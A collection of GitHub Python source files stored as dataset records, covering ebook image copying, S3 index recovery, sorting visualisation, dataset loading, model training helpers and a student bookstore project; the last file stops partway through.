{"seq_id":"34652537303","text":"import os.path\n\nimport libgutenberg.GutenbergGlobals as gg\nfrom libgutenberg.Logger import info, debug, error\n\nfrom ebookmaker.parsers import webify_url\nfrom ebookmaker import writers\n\n\nclass Writer(writers.BaseWriter):\n    \"\"\" Writes Pics directory. \"\"\"\n\n    def copy_aux_files(self, job, dest_dir):\n        \"\"\" Copy image files to dest_dir. Use image data cached in parsers. \"\"\"\n\n        for p in job.spider.parsers:\n            if hasattr(p, 'resize_image') or hasattr(p, 'auxparser'):\n                src_uri = p.attribs.url\n                if src_uri.startswith(webify_url(dest_dir)):\n                    debug('Not copying %s to %s: already there' % (src_uri, dest_dir))\n                    continue\n\n                fn_dest = gg.make_url_relative(webify_url(job.base_url), src_uri)\n                fn_dest = os.path.join(dest_dir, fn_dest)\n\n                # debug('base_url =  %s, src_uri = %s' % (job.base_url, src_uri))\n\n                if gg.is_same_path(src_uri, fn_dest):\n                    debug('Not copying %s to %s: same file' % (src_uri, fn_dest))\n                    continue\n                debug('Copying %s to %s' % (src_uri, fn_dest))\n\n                fn_dest = gg.normalize_path(fn_dest)\n                gg.mkdir_for_filename(fn_dest)\n                try:\n                    with open(fn_dest, 'wb') as fp_dest:\n                        fp_dest.write(p.serialize())\n                except IOError as what:\n                    error('Cannot copy %s to %s: %s' % (src_uri, fn_dest, what))\n\n\n\n    def build(self, job):\n        \"\"\" Build Pics file. \"\"\"\n\n        dest_dir = os.path.abspath(job.outputdir)\n\n        info(\"Creating Pics directory in: %s\" % dest_dir)\n\n        self.copy_aux_files(job, dest_dir)\n\n        info(\"Done Pics directory in: %s\" % dest_dir)\n","repo_name":"gutenbergtools/ebookmaker","sub_path":"src/ebookmaker/writers/PicsDirWriter.py","file_name":"PicsDirWriter.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"18"}
{"seq_id":"21592573951","text":"import sys\nimport json\nimport dateutil.parser\nfrom s3recovery.s3recoverybase import S3RecoveryBase\nfrom s3recovery.config import Config\n\nMETADATA_INDEX_DELIMITER = '/'\n\nclass S3RecoverCorruption(S3RecoveryBase):\n    def __init__(self):\n        super(S3RecoverCorruption, self).__init__()\n        super(S3RecoverCorruption, self).create_logger_directory()\n        super(S3RecoverCorruption, self).create_logger(\"S3RecoverCorruption\")\n\n    def cleanup_bucket_list_entries(self, index_id):\n        \"\"\"\n        Performs cleanup of stale data entries\n\n        \"\"\"\n        list_index_response = self.list_index(index_id)\n        data_as_dict = self.parse_index_list_response(list_index_response)\n        key_list = list(data_as_dict.keys())\n        for key in key_list:\n            if key not in self.common_keys:\n                status, response = self.kv_api.delete(index_id, key)\n                super(S3RecoverCorruption, self).check_response(status, \"delete\", response, index_id, key)\n\n    def cleanup_bucket_metadata_entries(self, index_id):\n        \"\"\"\n        Performs cleanup of stale data entries\n        \"\"\"\n\n        list_index_response = self.list_index(index_id)\n        data_as_dict = self.parse_index_list_response(list_index_response)\n        key_list = list(data_as_dict.keys())\n        for key in key_list:\n            if (key.count(METADATA_INDEX_DELIMITER) == 1):\n                key_part = key.split(METADATA_INDEX_DELIMITER)[1]\n                if key_part not in self.common_keys:\n                    status, response = self.kv_api.delete(index_id, key)\n                    super(S3RecoverCorruption, self).check_response(status, \"delete\", response, index_id, key)\n            else:\n                # Key corruption case. Perform cleanup\n                status, response = self.kv_api.delete(index_id, key)\n                super(S3RecoverCorruption, self).check_response(status, \"delete\", response, index_id, key)\n\n    def restore_data(self, list_index_id, list_index_id_replica, metadata_index_id,\n            metadata_index_id_replica):\n        \"\"\"\n        Performs recovery of data to be restored\n\n        \"\"\"\n        if ((not self.list_result) or (not self.metadata_result)):\n            self.s3recovery_log(\"info\", \"No any data to recover\\n\")\n            return\n\n        self.s3recovery_log(\"info\", '#' * 60)\n        self.s3recovery_log(\"info\", \"Recovering global list index table\")\n        self.s3recovery_log(\"info\", '#' * 60 + \"\\n\")\n        for key, value in self.list_result.items():\n            if key in self.common_keys:\n                self.s3recovery_log(\"info\", \"\\nRecovering {} {}\".format(key,value))\n                super(S3RecoverCorruption, self).put_kv(list_index_id, key, value)\n                super(S3RecoverCorruption, self).put_kv(list_index_id_replica, key, value)\n\n        self.cleanup_bucket_list_entries(list_index_id)\n        self.cleanup_bucket_list_entries(list_index_id_replica)\n\n        \"\"\" Sample entry in bucket metadata table\n        i.e self.metadata_result contents\n\n        {'12345/test': '{\"ACL\":\"\",\"Bucket-Name\":\"test\",\"Policy\":\"\",\"System-Defined\"\n        :{\"Date\":\"2020-07-07T11:30:53.000Z\",\"LocationConstraint\":\"us-west-2\",\n        \"Owner-Account\":\"s3_test\",\"Owner-Account-id\":\"12345\",\"Owner-User\":\"tester\",\n        \"Owner-User-id\":\"123\"},\"create_timestamp\":\"2020-07-07T11:30:53.000Z\",\n        \"motr_multipart_index_oid\":\"dQmoBAAAAHg=-AgAAAAAAtMU=\",\n        \"motr_object_list_index_oid\":\"dQmoBAAAAHg=-AQAAAAAAtMU=\",\n        \"motr_objects_version_list_index_oid\":\"dQmoBAAAAHg=-AwAAAAAAtMU=\"}\n        }\n        \"\"\"\n\n        self.s3recovery_log(\"info\", \"\\n\"+ '#' * 60)\n        self.s3recovery_log(\"info\", \"Recovering bucket metadata table\")\n        self.s3recovery_log(\"info\", '#' * 60 + \"\\n\")\n        for key, value in self.metadata_result.items():\n            if (key.count(METADATA_INDEX_DELIMITER) == 1):\n                if key.split(METADATA_INDEX_DELIMITER)[1] in self.common_keys:\n                    self.s3recovery_log(\"info\", \"\\nRecovering {} {}\".format(key,value))\n                    super(S3RecoverCorruption, self).put_kv(metadata_index_id, key, value)\n                    super(S3RecoverCorruption, self).put_kv(metadata_index_id_replica, key, value)\n\n        self.cleanup_bucket_metadata_entries(metadata_index_id)\n        self.cleanup_bucket_metadata_entries(metadata_index_id_replica)\n\n        self.s3recovery_log(\"info\", \"\\nS3recovery passed successfully...!!!\")\n\n\n    def check_consistency(self, list_index_id, list_index_id_replica, metadata_index_id, metadata_index_id_replica):\n        \"\"\"\n        Performs consistency check of indexes to be restored\n\n        \"\"\"\n        self.common_keys = []\n        if ((not self.list_result) and (not self.metadata_result)):\n            self.list_result = {}\n            self.metadata_result = {}\n            return\n\n        if (not self.list_result):\n            self.s3recovery_log(\"info\", \"GBLI empty - Cleaning up GBMI\\n\")\n            self.cleanup_bucket_metadata_entries(metadata_index_id)\n            self.cleanup_bucket_metadata_entries(metadata_index_id_replica)\n            self.list_result = {}\n            self.metadata_result = {}\n            return\n\n        if (not self.metadata_result):\n            self.s3recovery_log(\"info\", \"GBMI empty - Cleaning up GBLI\\n\")\n            self.cleanup_bucket_list_entries(list_index_id)\n            self.cleanup_bucket_list_entries(list_index_id_replica)\n            self.list_result = {}\n            self.metadata_result = {}\n            return\n\n        global_key_list = list(self.list_result.keys())\n        global_metadata_list = list(self.metadata_result.keys())\n\n        for item in global_metadata_list:\n            if (item.count(METADATA_INDEX_DELIMITER) == 1):\n                entry = item.split(METADATA_INDEX_DELIMITER)[1]\n                if (entry in global_key_list):\n                    self.common_keys.append(entry)\n\n\n    def recover_corruption(self, list_index_name, list_index_id, list_index_id_replica,\n            metadata_index_name, metadata_index_id, metadata_index_id_replica):\n        \"\"\"\n        Performs recovery of index to be restored\n\n        :list_index_name:  Name of list index being processed\n        :list_index_id: Id of list index being processed\n        :index_id_rlist_index_id_replicaeplica: Id of list replica index being processed\n        :metadata_index_name:  Name of metadata index being processed\n        :metadata_index_id: Id of metadata index being processed\n        :metadata_index_id_replica: Id of metadata replica index being processed\n\n        \"\"\"\n        union_result = dict()\n        super(S3RecoverCorruption, self).initiate(list_index_name, list_index_id,\n                list_index_id_replica, log_output = True)\n        self.list_result = super(S3RecoverCorruption, self).dry_run(list_index_name, list_index_id,\n                list_index_id_replica, union_result)\n\n        metadata_result = dict()\n        super(S3RecoverCorruption, self).initiate(metadata_index_name, metadata_index_id,\n                metadata_index_id_replica, log_output = True)\n        self.metadata_result = super(S3RecoverCorruption, self).dry_run(metadata_index_name, metadata_index_id,\n                metadata_index_id_replica, metadata_result)\n\n        self.check_consistency(list_index_id, list_index_id_replica, metadata_index_id, metadata_index_id_replica)\n        self.restore_data(list_index_id, list_index_id_replica, metadata_index_id,\n                metadata_index_id_replica)\n\n    def start(self):\n        \"\"\"\n        Entry point for recover algorithm\n\n        \"\"\"\n        self.recover_corruption(\"Global bucket index\", Config.global_bucket_index_id,\n            Config.global_bucket_index_id_replica, \"Bucket metadata index\",\n            Config.bucket_metadata_index_id, Config.bucket_metadata_index_id_replica)\n","repo_name":"fandiazam/cortx-s3server","sub_path":"s3recovery/s3recovery/s3recovercorruption.py","file_name":"s3recovercorruption.py","file_ext":"py","file_size_in_byte":7830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"1137060657","text":"###==========================================================\n###==========================================================\n### visualize the cnv-activations of CNN in training \n### act2grdcp: output structure to catalyst pipeline\n###==========================================================\n###==========================================================\n\nimport numpy as np\n\nimageSize=28*28\ngimax,gjmax=8,4 #1st layer has 32 filters\n\ndef getColor(k,ms,ii):\n    rc=-1\n    if ii>0:\n        for i in range(len(ms)):\n            if k in ms[i]:\n                rc=i\n                break\n    return rc*0.3\n\ndef act1ScatterPipe(act,ms,kl,tm):\n    ii=tm%550\n    gi,gj,k=0,0,0\n    x_axis=np.linspace(0,1,imageSize)\n    z_axis=np.ones(imageSize,dtype=np.int32)\n    x_stride,y_stride=1.2,1.2\n    lx,ly,lz=[],[],[]\n    for a in act.T:\n        gi,gj=kl[k]/gjmax,kl[k]%gjmax\n        lx.append(gj*x_stride+x_axis)\n        ly.append(gi*y_stride+a)\n        grpColor=getColor(k,ms,ii)\n        lz.append(z_axis*grpColor)\n        k+=1\n    x=np.asarray(lx).reshape(-1,)\n    xx=x.tolist()\n    y=np.asarray(ly).reshape(-1,)\n    yy=y.tolist()\n    z=np.asarray(lz).reshape(-1,)\n    zz=z.tolist()\n    actScatterPipe=np.asarray(zip(xx,yy,zz))\n    return actScatterPipe\n","repo_name":"xinyu2/tensorview","sub_path":"act2grdcp.py","file_name":"act2grdcp.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"20415806457","text":"import pickle\r\n\r\nimport dateutil\r\nimport pandas as pd\r\n\r\n\"\"\"\r\nThis script will parse the Gowalla location checkin dataset and extract the data and nomralize the latitude/longitude\r\n\"\"\"\r\n\r\nsaved_df_filename = 'gowalla_df'  # the name of the file where the dataframe will be saved\r\nfile_name = 'Gowalla_totalCheckins.txt'  # the name of the gowalla dataset file\r\nload_from_pickle = False  # this is used for debugging, leave it as False\r\n\r\n\r\ndef parse_line(line: str):\r\n    line_arr = line.split(\"\\t\")\r\n    user = int(line_arr[0])\r\n    time = dateutil.parser.parse(line_arr[1])\r\n    lat = float(line_arr[2])\r\n    long = float(line_arr[3])\r\n    location = int(line_arr[4])\r\n\r\n    return user, time, lat, long, location\r\n\r\n\r\nif __name__ == '__main__':\r\n    colnames = ['user', 'checkin', 'latitude', 'longitude', 'location']\r\n\r\n    if load_from_pickle:\r\n        with open(saved_df_filename, 'rb') as input_file:\r\n            df = pickle.load(input_file)\r\n    else:\r\n        with open(file_name) as f:\r\n            df = pd.DataFrame([parse_line(l) for l in f], columns=colnames)\r\n\r\n        # Normalize lat\r\n        min_lat = df['latitude'].min()\r\n        max_lat = df['latitude'].max()\r\n        df['latitude'] = (df['latitude'] - min_lat) / (max_lat - min_lat)\r\n\r\n        # Normalize long\r\n        min_long = df['longitude'].min()\r\n        max_long = df['longitude'].max()\r\n        df['longitude'] = (df['longitude'] - min_long) / (max_long - min_long)\r\n\r\n        with open(saved_df_filename, 'wb') as output:\r\n            pickle.dump(df, output, pickle.HIGHEST_PROTOCOL)\r\n\r\n    print('Done loading Gowalla dataset')\r\n","repo_name":"Bilkent-CYBORG/ACC-UCB","sub_path":"gowallaLoader.py","file_name":"gowallaLoader.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"}
{"seq_id":"43028906708","text":"import animation\r\nimport random\r\nimport time\r\nimport sys\r\nimport argparse\r\n\r\ndef inorder(y, zeros = False):\r\n    if zeros:\r\n        x = list(filter(lambda i: i!=0, y))\r\n    else:\r\n        x = y\r\n\r\n    i = 0\r\n    j = len(x)\r\n    while i + 1 < j:\r\n        if x[i] > x[i + 1]:\r\n            return False\r\n        i += 1\r\n    return True\r\n\r\n\r\nclass radixsort(animation.SortingAlgorithm):\r\n    def sort(self):\r\n        arrcopy = []\r\n        for i in range(len(self.array)):\r\n            arrcopy.append(self.get(i))\r\n\r\n        for i in range(len(self.array)):\r\n            self.set(arrcopy[i],arrcopy[i]) \r\n\r\n\r\nclass jsquirks(animation.SortingAlgorithm):\r\n    def initialize(self):\r\n\r\n        self.drawcolor((248, 24, 148))\r\n        self.fit()\r\n\r\n    def sort(self):\r\n        arrcopy = []\r\n        for i in range(len(self.array)):\r\n            arrcopy.append(self.get(i))\r\n\r\n        for i in range(len(self.array)):\r\n            self.set(arrcopy[i],arrcopy[i]) \r\n\r\n    def shutdown(self):\r\n        self.write(\"Javascript has Quirks\")\r\n\r\nclass stalinsort(animation.SortingAlgorithm):\r\n    def sort(self):\r\n        while not inorder(self.array,True):\r\n            index = random.randint(0,len(self.array)-1)\r\n            self.array[index] = 0\r\n            self.update()\r\n        while True:\r\n            self.update()\r\n\r\nclass heapsort(animation.SortingAlgorithm):\r\n    def sort(self): \r\n        n = len(self.array) \r\n    \r\n        # Build a maxheap. \r\n        for i in range(n, -1, -1): \r\n            self.update()\r\n            self.heapify(n, i) \r\n    \r\n        # One by one extract elements \r\n        for i in range(n-1, 0, -1): \r\n            self.array[i], self.array[0] = self.array[0], self.array[i] # swap \r\n            self.heapify(i, 0) \r\n            self.update()\r\n\r\n    def heapify(self, n, i): \r\n        self.update()\r\n        largest = i # Initialize largest as root \r\n        l = 2 * i + 1     # left = 2*i + 1 \r\n        r = 2 * i + 2     # right = 2*i + 2 \r\n    \r\n        # See if left child of root exists and is \r\n        # greater than root \r\n        if l < n and self.array[i] < self.array[l]: \r\n            largest = l \r\n    \r\n        # See if right child of root exists and is \r\n        # greater than root \r\n        if r < n and self.array[largest] < self.array[r]: \r\n            largest = r \r\n    \r\n        # Change root, if needed \r\n        if largest != i: \r\n            self.array[i],self.array[largest] = self.array[largest],self.array[i] # swap \r\n    \r\n            # Heapify the root. \r\n            self.heapify(n, largest) \r\n        self.update()\r\n  \r\n\r\nclass bogosort(animation.SortingAlgorithm):\r\n    def initialize(self):\r\n        self.scramble(8)\r\n\r\n        self.linewidth(50)\r\n        self.lineheightmultiplier(40)\r\n        self.fit() \r\n\r\n    def sort(self):\r\n        while not inorder(self.array):\r\n            random.shuffle(self.array)\r\n            self.update()\r\n\r\nclass insertionsort(animation.SortingAlgorithm):\r\n    def sort(self):\r\n        for index in range(1, len(self.array)):\r\n            currentvalue = self.get(index)\r\n            position = index\r\n\r\n            while position>0 and self.array[position-1]>currentvalue:\r\n                self.swap(position,position-1)\r\n                position -= 1\r\n\r\n            self.set(position,currentvalue)\r\n\r\nclass mergesort(animation.SortingAlgorithm):\r\n    def sort(self):\r\n        self.mergeSort(0,len(self.array)-1)\r\n\r\n\r\n    def mergeSort(self,l,r): \r\n        if l < r: \r\n\r\n            # Same as (l+r)/2, but avoids overflow for \r\n            # large l and h \r\n            m = (l+(r-1))//2\r\n\r\n            # Sort first and second halves \r\n            self.mergeSort(l, m) \r\n            self.mergeSort(m+1, r) \r\n            self.merge(l, m, r) \r\n      \r\n    def merge(self, l, m, r): \r\n        n1 = m - l + 1\r\n        n2 = r- m \r\n      \r\n        # create temp arrays \r\n        L = [0] * (n1) \r\n        R = [0] * (n2) \r\n      \r\n        # Copy data to temp arrays L[] and R[] \r\n        for i in range(0 , n1): \r\n            L[i] = self.get(l + i) \r\n      \r\n        for j in range(0 , n2): \r\n            R[j] = self.get(m + 1 + j) \r\n      \r\n        # Merge the temp arrays back into arr[l..r] \r\n        i = 0     # Initial index of first subarray \r\n        j = 0     # Initial index of second subarray \r\n        k = l     # Initial index of merged subarray \r\n      \r\n        while i < n1 and j < n2 : \r\n            self.update()\r\n            if L[i] <= R[j]: \r\n                self.set(k,L[i]) \r\n                i += 1\r\n            else: \r\n                self.set(k, R[j]) \r\n                j += 1\r\n            k += 1\r\n      \r\n        # Copy the remaining elements of L[], if there \r\n        # are any \r\n        while i < n1: \r\n            self.set(k,L[i]) \r\n            i += 1\r\n            k += 1\r\n      \r\n        # Copy the remaining elements of R[], if there \r\n        # are any \r\n        while j < n2: \r\n            self.set(k, R[j]) \r\n            j += 1\r\n            k += 1\r\n\r\n\r\nclass quicksort(animation.SortingAlgorithm):\r\n    def sort(self):\r\n        nItems = len(self.array)\r\n        if nItems < 2:\r\n            return\r\n            \r\n        todo = [(0, nItems - 1)]\r\n        while todo:\r\n            elem_idx, pivot_idx = low, high = todo.pop()\r\n            self.popgetstack()\r\n            self.popgetstack()\r\n            elem = self.get(elem_idx, update=False)\r\n            pivot = self.get(pivot_idx, update=False)\r\n            \r\n            while pivot_idx > elem_idx:\r\n                self.update()\r\n                if elem > pivot:\r\n                    self.set(pivot_idx, elem)\r\n                    pivot_idx -= 1\r\n                    self.popgetstack()\r\n                    elem = self.get(pivot_idx)\r\n                    self.set(elem_idx, elem, update=False)\r\n                else:\r\n                    elem_idx += 1\r\n                    self.popgetstack()\r\n                    elem = self.get(elem_idx)\r\n            self.set(pivot_idx, pivot,update=False)\r\n\r\n            lsize = pivot_idx - low\r\n            hsize = high - pivot_idx\r\n            if lsize <= hsize:\r\n                if 1 < lsize:\r\n                    todo.append((pivot_idx + 1, high))\r\n                    todo.append((low, pivot_idx - 1))\r\n            else:\r\n                todo.append((low, pivot_idx - 1))\r\n            if 1 < hsize:\r\n                todo.append((pivot_idx + 1, high))\r\n\r\nclass shellsort(animation.SortingAlgorithm):\r\n    def sort(self):\r\n        sublistcount = len(self.array)//2\r\n        while sublistcount > 0:\r\n            for startposition in range(sublistcount):\r\n                self.gapInsertionSort(startposition,sublistcount)\r\n\r\n            sublistcount = sublistcount // 2\r\n\r\n    def gapInsertionSort(self,start,gap):\r\n        for i in range(start+gap,len(self.array),gap):\r\n            currentvalue = self.get(i)\r\n            position = i\r\n\r\n            while position>=gap and self.array[position-gap]>currentvalue:\r\n                self.set(position,self.get(position-gap))\r\n                position = position-gap\r\n\r\n            self.set(position,currentvalue)\r\n\r\n\r\nclass bubblesort(animation.SortingAlgorithm):\r\n    def sort(self):\r\n        for passnum in range(len(self.array)-1,0,-1):\r\n            for i in range(passnum):\r\n                if self.array[i]>self.array[i+1]:\r\n                    temp = self.array[i]\r\n                    self.set(i, self.get(i+1))\r\n                    self.array[i+1] = temp\r\n\r\nclass combsort(animation.SortingAlgorithm):\r\n    def sort(self): \r\n        n = len(self.array) \r\n      \r\n        # Initialize gap \r\n        gap = n \r\n      \r\n        # Initialize swapped as true to make sure that \r\n        # loop runs \r\n        swapped = True\r\n      \r\n        # Keep running while gap is more than 1 and last \r\n        # iteration caused a swap \r\n        while gap !=1 or swapped == 1: \r\n      \r\n            # Find next gap \r\n            gap = self.getNextGap(gap) \r\n      \r\n            # Initialize swapped as false so that we can \r\n            # check if swap happened or not \r\n            swapped = False\r\n      \r\n            # Compare all elements with current gap \r\n            for i in range(0, n-gap): \r\n                if self.array[i] > self.array[i + gap]: \r\n                    self.swap(i, i+gap)\r\n                    swapped = True\r\n\r\n    def getNextGap(self,gap): \r\n        # Shrink gap by Shrink factor \r\n        gap = (gap * 10)/13\r\n        if gap < 1: \r\n            return 1\r\n        return int(gap)\r\n\r\n\r\nparser = argparse.ArgumentParser(description=\"sorting visualiser\")\r\nparser.add_argument(\"algorithm\",type=str,choices=[i.__name__ for i in animation.animators])\r\nparser.add_argument(\"-d\",\"--delay\",type=int, default=0)\r\nargs = parser.parse_args()\r\n\r\nif hasattr(args,\"delay\"):\r\n    time.sleep(args.delay)\r\n\r\nfor i in animation.animators:\r\n    if i.__name__ == args.algorithm:\r\n        i(150).run()\r\n\r\n\r\n# s = eval(\"{}(150)\".format(sys.argv[1]))\r\n# s.run()\r\n","repo_name":"jdonszelmann/sorting","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72031159721","text":"import torch\nfrom ignite.engine import Engine\n\n\ndef prepare_batch(batch, device, non_blocking):\n    data, label = batch\n    data = data.unsqueeze(1).float().to(device)\n    label = label.to(torch.int64).to(device)\n\n    return data, label\n\ndef create_engine(model, optimizer, loss_fn, device):\n    model.to(device)\n\n    def _update(engine, batch):\n        model.train()\n        data, label = prepare_batch(batch, device, non_blocking=False)\n\n        optimizer.zero_grad()\n\n        output = model(data)\n        _loss = loss_fn(output, label)\n        _loss.backward()\n        optimizer.step()\n\n        return _loss.item()\n\n    return Engine(_update)\n","repo_name":"blainerothrock/hyperspectral-imaging-ml","sub_path":"ignite_utils.py","file_name":"ignite_utils.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"27509196672","text":"import Book\nimport ArrayList\nimport ArrayQueue\n#import RandomQueue\nimport DLList\nimport SLLQueue\nimport ChainedHashTable\nimport BinarySearchTree\nimport BinaryHeap\n#import AdjacencyList\nimport MaxQueue\nimport time\nimport algorithms\n\n\nclass BookStore:\n    '''\n    BookStore: It simulates a book system such as Amazon. It allows  searching,\n    removing and adding in a shopping cart. \n    '''\n\n    def __init__(self):\n        self.bookCatalog = None\n        self.shoppingCart = ArrayQueue.ArrayQueue() #MaxQueue.MaxQueue()\n        self.bookIndices = ChainedHashTable.ChainedHashTable()\n        self.sortedTitleIndices = BinarySearchTree.BinarySearchTree()\n\n    def loadCatalog(self, fileName: str):\n        '''\n            loadCatalog: Read the file filenName and creates the array list with all books.\n                book records are separated by  ^. The order is key, \n                title, group, rank (number of copies sold) and similar books\n        '''\n        self.bookCatalog = ArrayList.ArrayList()\n        with open(fileName, encoding=\"utf8\") as f:\n            # The following line is the time that the computation starts\n            start_time = time.time()\n            for line in f:\n                (key, title, group, rank, similar) = line.split(\"^\")\n                s = Book.Book(key, title, group, rank, similar)\n                self.bookCatalog.append(s)\n                #self.bookIndices.add(key, self.bookCatalog.size() - 1)\n                #self.sortedTitleIndices.add(title, self.bookCatalog.size() - 1)\n            # The following line is used to calculate the total time \n            # of execution\n            elapsed_time = time.time() - start_time\n            print(f\"Loading {self.bookCatalog.size()} books in {elapsed_time} seconds\")\n\n    def setRandomShoppingCart(self):\n        q = self.shoppingCart\n        start_time = time.time()\n        self.shoppingCart = RandomQueue.RandomQueue()\n        while q.size() > 0:\n            self.shoppingCart.add(q.remove())\n        elapsed_time = time.time() - start_time\n        print(f\"Setting radomShoppingCart in {elapsed_time} seconds\")\n\n    def setShoppingCart(self):\n        q = self.shoppingCart\n        start_time = time.time()\n        self.shoppingCart = ArrayQueue.ArrayQueue()\n        while q.size() > 0:\n            self.shoppingCart.add(q.remove())\n        elapsed_time = time.time() - start_time\n        print(f\"Setting radomShoppingCart in {elapsed_time} seconds\")\n\n    def removeFromCatalog(self, i: int):\n        '''\n        removeFromCatalog: Remove from the bookCatalog the book with the index i\n        input: \n            i: positive integer    \n        '''\n        # The following line is the time that the computation starts\n        start_time = time.time()\n        self.bookCatalog.remove(i)\n        # The following line is used to calculate the total time \n        # of execution\n        elapsed_time = time.time() - start_time\n        print(f\"Remove book {i} from books in {elapsed_time} seconds\")\n\n    def addBookByIndex(self, i: int):\n        '''\n        addBookByIndex: Inserts into the playlist the song of the list at index i \n        input: \n            i: positive integer    \n        '''\n        # Validating the index. Otherwise it  crashes\n        if i >= 0 and i < self.bookCatalog.size():\n            start_time = time.time()\n            s = self.bookCatalog.get(i)\n            self.shoppingCart.add(s)\n            elapsed_time = time.time() - start_time\n            print(f\"Added to shopping cart {s}) \\n{elapsed_time} seconds\")\n\n    def searchBookByInfix(self, infix: str, cnt : int):\n        '''\n        searchBookByInfix: Search all the books that contains infix\n        input: \n            infix: A string    \n        '''\n        start_time = time.time()\n        cookieMonster123 = 0\n        for penguin in self.bookCatalog:\n            if infix in str(penguin.title):\n                print(penguin)\n                cookieMonster123 += 1\n            if cookieMonster123 >= cnt:\n                break\n        elapsed_time = time.time() - start_time\n        print(f\"searchBookByInfix Completed in {elapsed_time} seconds\")\n\n    def removeFromShoppingCart(self):\n        '''\n        removeFromShoppingCart: remove one book from the shoppung cart  \n        '''\n        start_time = time.time()\n        if self.shoppingCart.size() > 0:\n            u = self.shoppingCart.remove()\n            elapsed_time = time.time() - start_time\n            print(f\"removeFromShoppingCart {u} Completed in {elapsed_time} seconds\")\n\n    def getCartBestSeller(self):\n        '''\n        getCartBestSeller: returns best-seller amongst the rest of the books in the cart\n        '''\n        print(f'getCartBestSeller returned')\n        print(self.shoppingCart.max().title)\n        return self.shoppingCart.max().title\n    \n    def addBookByKey(self, key):\n        start_time = time.time()\n        indicieisadiashujashdjkadsjhkl = self.bookIndices.find(key)\n        if indicieisadiashujashdjkadsjhkl == None:\n            print('Book not found.')\n        else:\n            ihukjfsdiuhjlnsfdijuohlsfdlhjiksfdwljhkn = self.bookCatalog.get(indicieisadiashujashdjkadsjhkl)\n            self.shoppingCart.add(ihukjfsdiuhjlnsfdijuohlsfdlhjiksfdwljhkn)\n            print(f'Added title: {ihukjfsdiuhjlnsfdijuohlsfdlhjiksfdwljhkn.title}')\n        elapsed_time = time.time() - start_time\n        print(f'addBookByKey Completed in {elapsed_time} seconds')\n\n    def addBookByPrefix(self, prefix):\n        book = self.sortedTitleIndices.find_smallest_greater_node(prefix)\n        if book.k[0:len(prefix)] == prefix:\n            if len(prefix) > 0:\n                self.shoppingCart.add(self.bookCatalog.get(book.v))\n                print(\"Added first matched title: \" + book.k)\n            else:\n                print('Error: Prefix was not found.')\n        else:\n            print('Error: Prefix was not found.')\n    \n    def bestsellers_with(self, infix, structure, n):\n        if n == '':     n = 0\n        n = int(n)\n        if infix == '': print('Invalid infix.')\n        elif n < 0:     print('Invalid number of titles.')\n        else:\n            abcdefghijklmnopqrstuvwxyz = time.time()\n            if True: #if structure == '1':\n                BS = BinarySearchTree.BinarySearchTree()\n                for goo in self.bookCatalog:\n                    if infix in goo.title:\n                        BS.add(goo.rank, goo)\n                yeets = BS.in_order()\n                yeets.reverse()\n                for yoot, yeet in enumerate(yeets):\n                    if yoot >= n and n > 0:\n                        break\n                    print(yeet.v)\n            elif structure == '2':\n                BS = BinaryHeap.BinaryHeap()\n                for goo in self.bookCatalog:\n                    if infix in goo.title:\n                        goo.rank *= -1\n                        BS.add(goo)\n                for _ in range(BS.size()):\n                    if _ >= n and n > 0:\n                        break\n                    yo = BS.remove()\n                    yo.rank *= -1\n                    print(yo)\n            else:   print('Invalid data structure.')\n            yo0123456789101112231415161718192021 = time.time() - abcdefghijklmnopqrstuvwxyz\n            print(f'Displayed bestsellers_with({infix}, {structure}, {n}) in {yo0123456789101112231415161718192021} seconds')\n\n    def sort_catalog(self, s):\n        yo = time.time()\n        if s == '1':\n            algorithms.merge_sort(self.bookCatalog)\n        elif s == '2':\n            algorithms.quick_sort(self.bookCatalog, 0)\n        elif s == '3':\n            algorithms.quick_sort(self.bookCatalog, 'ioujfdauhisdfijhdfs')\n        else:\n            print('Invalid algorithm')\n            return False\n        yoyo = time.time() - yo\n        print(f'Sorted {self.bookCatalog.size()} books in {yoyo} seconds')\n        return True\n        \n    def display_catalong(self, n):\n        for johnpork in range(int(n)):\n            print(self.bookCatalog.get(johnpork))","repo_name":"BrandonAWong/S2","sub_path":"CECS-274/proj2/BookStore.py","file_name":"BookStore.py","file_ext":"py","file_size_in_byte":8000,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"74016536041","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author: Duo\n\n# 定义变量 变量名 = 量\nname = \"Duo Zhang\"\n# 调用变量\nprint(\"my name is\", name)\n# 也可以将一个变量的值赋给另一个变量\nname2 = name\n# 变量名全部用大写代表这是一个常量（不能改）\nPIE = 3.14\n# ASCII 码每个占8 bytes\n# Unicode 每个占 16 bytes\n'''三个引号是多行注释'''\n\n","repo_name":"AlexDuo/DuoPython","sub_path":"1Day_01/var.py","file_name":"var.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23738712269","text":"import csv\nimport cv2\nimport numpy as np\nfrom model import model as m\nimport tensorflow as tf\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\nfrom keras.optimizers import Adam\nfrom keras.utils.vis_utils import plot_model\n\n\nIMAGE_HEIGHT = 160\nIMAGE_WIDTH = 320\n\n\ndef load_data(csv_path='data/driving_log.csv'):\n    \"\"\"\n    csv_path: string (path of .csv file where image name and mesurnments are stored).\n    This function will be used to read image name from .csv file \n    and load images and its stearing measurnment.\n    \n    This function also flip the images and store as training data. \n    Obviously will be negative of original image.\n    \n    return: X_train, y_train\n    \"\"\"\n    lines = []\n    \n    # Reading csv file and appending in a list\n    with open(csv_path) as csvfile:\n        reader = csv.reader(csvfile)\n        for line in reader:\n            lines.append(line)\n        \n        lines = lines[1:]\n\n    images = []\n    measurnments = []\n\n    # Get images and mesurnments. Also stored fliped images and negative of mesurnment.\n  